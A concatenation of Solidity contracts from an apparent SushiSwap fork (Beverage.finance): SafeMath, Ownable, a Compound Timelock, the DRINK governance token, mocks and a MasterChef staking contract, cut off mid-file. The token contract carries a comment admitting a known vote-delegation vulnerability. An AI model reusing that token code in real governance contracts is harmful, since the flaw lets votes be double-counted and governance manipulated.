SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT // COPIED FROM https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/GovernorAlpha.sol // Copyright 2020 Compound Labs, Inc. // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Ctrl+f for XXX to see all the modifications. // XXX: pragma solidity ^0.5.16; pragma solidity 0.6.12; // XXX: import "./SafeMath.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; bool public admin_initialized; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; admin_initialized = false; } // XXX: function() external payable { } receive() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { // allows one time setting of admin for deployment purposes if (admin_initialized) { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); } else { require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin."); admin_initialized = true; } pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract ERC20Mock is ERC20 { constructor( string memory name, string memory symbol, uint256 supply ) public ERC20(name, symbol) { _mint(msg.sender, supply); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; // WARNING: There is a known vuln contained within this contract // related to vote delegation, it's NOT recommmended to use this in // production. // Beverage.finance's DRINK token with Governance and delegation functionalitiy. Forked from SushiToken contract BeverageToken is ERC20("Beverage Token", "DRINK"), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @dev A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "SUSHI::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "SUSHI::delegateBySig: invalid nonce"); require(now <= expiry, "SUSHI::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "SUSHI::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying SUSHIs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "SUSHI::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract FeeSplitExtensionMock { address public operator; function setOperator(address _operator) public { operator = _operator; } function accrueFeesAndDistribute(IERC20 _setToken) public { uint256 amount = _setToken.balanceOf(address(this)); _setToken.transfer(operator, amount); // 100% fee to operator } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IBeverageToken is IERC20 { function mint(address to, uint256 amount) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@boringcrypto/boring-solidity/contracts/BoringBatchable.sol"; import "@boringcrypto/boring-solidity/contracts/BoringOwnable.sol"; import "./libraries/BoringMath.sol"; import "./libraries/SignedSafeMath.sol"; import "./interfaces/IRewarder.sol"; import "./interfaces/IMasterChef.sol"; import { IBeverageToken } from "./interfaces/IBeverageToken.sol"; // MasterChef is the master of Sushi. He can make Sushi and he is a fair guy. // // Have fun reading it. Hopefully it's bug-free. God bless. contract MasterChef is BoringOwnable, BoringBatchable { using BoringMath for uint256; using BoringMath128 for uint128; using BoringERC20 for IERC20; using SignedSafeMath for int256; /// @notice Info of each MC user. /// `amount` LP token amount the user has provided. /// `rewardDebt` The amount of SUSHI entitled to the user. struct UserInfo { uint256 amount; int256 rewardDebt; } /// @notice Info of each MC pool. /// `allocPoint` The amount of allocation points assigned to the pool. /// Also known as the amount of SUSHI to distribute per block. struct PoolInfo { uint128 accSushiPerShare; uint64 lastRewardBlock; uint64 allocPoint; } /// @notice Address of SUSHI contract. IBeverageToken public immutable SUSHI; /// @notice Info of each MC pool. PoolInfo[] public poolInfo; /// @notice Address of the LP token for each MC pool. IERC20[] public lpToken; /// @notice Address of each `IRewarder` contract in MC. IRewarder[] public rewarder; /// @notice Treasury address address public treasuryAddr; /// @notice Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; /// @dev Tokens added mapping (address => bool) public addedTokens; /// @dev Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint; uint256 public sushiPerBlock; uint256 private constant ACC_SUSHI_PRECISION = 1e12; event Deposit(address indexed user, uint256 indexed pid, uint256 amount, address indexed to); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount, address indexed to); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount, address indexed to); event Harvest(address indexed user, uint256 indexed pid, uint256 amount); event LogPoolAddition(uint256 indexed pid, uint256 allocPoint, IERC20 indexed lpToken, IRewarder indexed rewarder); event LogSetPool(uint256 indexed pid, uint256 allocPoint, IRewarder indexed rewarder, bool overwrite); event LogUpdatePool(uint256 indexed pid, uint64 lastRewardBlock, uint256 lpSupply, uint256 accSushiPerShare); event LogSushiPerBlock(uint256 sushiPerBlock); event TreasuryAddressChanged(address indexed caller, address indexed oldAddress, address indexed newAddress); /// @param _sushi The SUSHI token contract address. /// @param _sushiPerBlock SUSHI to be minted per block /// @param _treasuryAddr Treasury address constructor(IBeverageToken _sushi, uint256 _sushiPerBlock, address _treasuryAddr) public { SUSHI = _sushi; sushiPerBlock = _sushiPerBlock; treasuryAddr = _treasuryAddr; } /// @notice Sets the sushi per block to be distributed. Can only be called by the owner. /// @param _sushiPerBlock The amount of Sushi to be distributed per second. function setSushiPerBlock(uint256 _sushiPerBlock) public onlyOwner { sushiPerBlock = _sushiPerBlock; emit LogSushiPerBlock(_sushiPerBlock); } // Update treasury address. Should be called by the previous treasury address. function setTreasuryAddress(address _treasuryAddr) public { require(msg.sender == treasuryAddr, "setTreasuryAddress: Forbidden"); require(_treasuryAddr != address(0), "setTreasuryAddress: zero"); treasuryAddr = _treasuryAddr; emit TreasuryAddressChanged(msg.sender, treasuryAddr, _treasuryAddr); } /// @notice Returns the number of MC pools. function poolLength() public view returns (uint256 pools) { pools = poolInfo.length; } /// @notice Add a new LP to the pool. Can only be called by the owner. /// @param allocPoint AP of the new pool. /// @param _lpToken Address of the LP ERC-20 token. /// @param _rewarder Address of the rewarder delegate. function add(uint256 allocPoint, IERC20 _lpToken, IRewarder _rewarder) public onlyOwner { require(addedTokens[address(_lpToken)] == false, "Token already added"); uint256 lastRewardBlock = block.number; totalAllocPoint = totalAllocPoint.add(allocPoint); lpToken.push(_lpToken); rewarder.push(_rewarder); poolInfo.push(PoolInfo({ allocPoint: allocPoint.to64(), lastRewardBlock: lastRewardBlock.to64(), accSushiPerShare: 0 })); addedTokens[address(_lpToken)] = true; emit LogPoolAddition(lpToken.length.sub(1), allocPoint, _lpToken, _rewarder); } /// @notice Update the given pool's SUSHI allocation point and `IRewarder` contract. Can only be called by the owner. /// @param _pid The index of the pool. See `poolInfo`. /// @param _allocPoint New AP of the pool. /// @param _rewarder Address of the rewarder delegate. /// @param overwrite True if _rewarder should be `set`. Otherwise `_rewarder` is ignored. function set(uint256 _pid, uint256 _allocPoint, IRewarder _rewarder, bool overwrite) public onlyOwner { totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint.to64(); if (overwrite) { rewarder[_pid] = _rewarder; } emit LogSetPool(_pid, _allocPoint, overwrite ? _rewarder : rewarder[_pid], overwrite); } /// @notice View function to see pending SUSHI on frontend. /// @param _pid The index of the pool. See `poolInfo`. /// @param _user Address of user. /// @return pending SUSHI reward for a given user. function pendingSushi(uint256 _pid, address _user) external view returns (uint256 pending) { PoolInfo memory pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSushiPerShare = pool.accSushiPerShare; uint256 lpSupply = lpToken[_pid].balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 blocks = block.number.sub(pool.lastRewardBlock); uint256 sushiReward = blocks.mul(sushiPerBlock).mul(pool.allocPoint) / totalAllocPoint; accSushiPerShare = accSushiPerShare.add(sushiReward.mul(ACC_SUSHI_PRECISION) / lpSupply); } pending = int256(user.amount.mul(accSushiPerShare) / ACC_SUSHI_PRECISION).sub(user.rewardDebt).toUInt256(); } /// @notice Update reward variables for all pools. Be careful of gas spending! /// @param pids Pool IDs of all to be updated. Make sure to update all active pools. function massUpdatePools(uint256[] calldata pids) external { uint256 len = pids.length; for (uint256 i = 0; i < len; ++i) { updatePool(pids[i]); } } /// @notice Update reward variables of the given pool. /// @param pid The index of the pool. See `poolInfo`. /// @return pool Returns the pool that was updated. function updatePool(uint256 pid) public returns (PoolInfo memory pool) { pool = poolInfo[pid]; if (block.number > pool.lastRewardBlock) { uint256 lpSupply = lpToken[pid].balanceOf(address(this)); if (lpSupply > 0) { uint256 blocks = block.number.sub(pool.lastRewardBlock); uint256 sushiReward = blocks.mul(sushiPerBlock).mul(pool.allocPoint) / totalAllocPoint; pool.accSushiPerShare = pool.accSushiPerShare.add((sushiReward.mul(ACC_SUSHI_PRECISION) / lpSupply).to128()); } pool.lastRewardBlock = block.number.to64(); poolInfo[pid] = pool; emit LogUpdatePool(pid, pool.lastRewardBlock, lpSupply, pool.accSushiPerShare); } } /// @notice Deposit LP tokens to MC for SUSHI allocation. /// @param pid The index of the pool. See `poolInfo`. /// @param amount LP token amount to deposit. /// @param to The receiver of `amount` deposit benefit. function deposit(uint256 pid, uint256 amount, address to) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][to]; // Effects user.amount = user.amount.add(amount); user.rewardDebt = user.rewardDebt.add(int256(amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION)); // Interactions IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onSushiReward(pid, to, to, 0, user.amount); } lpToken[pid].safeTransferFrom(msg.sender, address(this), amount); emit Deposit(msg.sender, pid, amount, to); } /// @notice Withdraw LP tokens from MC. /// @param pid The index of the pool. See `poolInfo`. /// @param amount LP token amount to withdraw. /// @param to Receiver of the LP tokens. function withdraw(uint256 pid, uint256 amount, address to) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][msg.sender]; // Effects user.rewardDebt = user.rewardDebt.sub(int256(amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION)); user.amount = user.amount.sub(amount); // Interactions IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onSushiReward(pid, msg.sender, to, 0, user.amount); } lpToken[pid].safeTransfer(to, amount); emit Withdraw(msg.sender, pid, amount, to); } /// @notice Harvest proceeds for transaction sender to `to`. /// @param pid The index of the pool. See `poolInfo`. /// @param to Receiver of SUSHI rewards. function harvest(uint256 pid, address to) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][msg.sender]; int256 accumulatedSushi = int256(user.amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION); uint256 _pendingSushi = accumulatedSushi.sub(user.rewardDebt).toUInt256(); // Effects user.rewardDebt = accumulatedSushi; // Interactions if (_pendingSushi != 0) { // Mint sushi SUSHI.mint(treasuryAddr, _pendingSushi.div(10)); SUSHI.mint(to, _pendingSushi); } IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onSushiReward( pid, msg.sender, to, _pendingSushi, user.amount); } emit Harvest(msg.sender, pid, _pendingSushi); } /// @notice Withdraw LP tokens from MC and harvest proceeds for transaction sender to `to`. /// @param pid The index of the pool. See `poolInfo`. /// @param amount LP token amount to withdraw. /// @param to Receiver of the LP tokens and SUSHI rewards. function withdrawAndHarvest(uint256 pid, uint256 amount, address to) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][msg.sender]; int256 accumulatedSushi = int256(user.amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION); uint256 _pendingSushi = accumulatedSushi.sub(user.rewardDebt).toUInt256(); // Effects user.rewardDebt = accumulatedSushi.sub(int256(amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION)); user.amount = user.amount.sub(amount); // Interactions SUSHI.mint(treasuryAddr, _pendingSushi.div(10)); SUSHI.mint(to, _pendingSushi); IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onSushiReward(pid, msg.sender, to, _pendingSushi, user.amount); } lpToken[pid].safeTransfer(to, amount); emit Withdraw(msg.sender, pid, amount, to); emit Harvest(msg.sender, pid, _pendingSushi); } /// @notice Withdraw without caring about rewards. EMERGENCY ONLY. /// @param pid The index of the pool. See `poolInfo`. /// @param to Receiver of the LP tokens. function emergencyWithdraw(uint256 pid, address to) public { UserInfo storage user = userInfo[pid][msg.sender]; uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onSushiReward(pid, msg.sender, to, 0, 0); } // Note: transfer can fail or succeed if `amount` is zero. lpToken[pid].safeTransfer(to, amount); emit EmergencyWithdraw(msg.sender, pid, amount, to); } } // SPDX-License-Identifier: UNLICENSED // Audit on 5-Jan-2021 by Keno and BoringCrypto // P1 - P3: OK pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // solhint-disable avoid-low-level-calls import "./libraries/BoringERC20.sol"; // T1 - T4: OK contract BaseBoringBatchable { function _getRevertMsg(bytes memory _returnData) internal pure returns (string memory) { // If the _res length is less than 68, then the transaction failed silently (without a revert message) if (_returnData.length < 68) return "Transaction reverted silently"; assembly { // Slice the sighash. _returnData := add(_returnData, 0x04) } return abi.decode(_returnData, (string)); // All that remains is the revert string } // F3 - F9: OK // F1: External is ok here because this is the 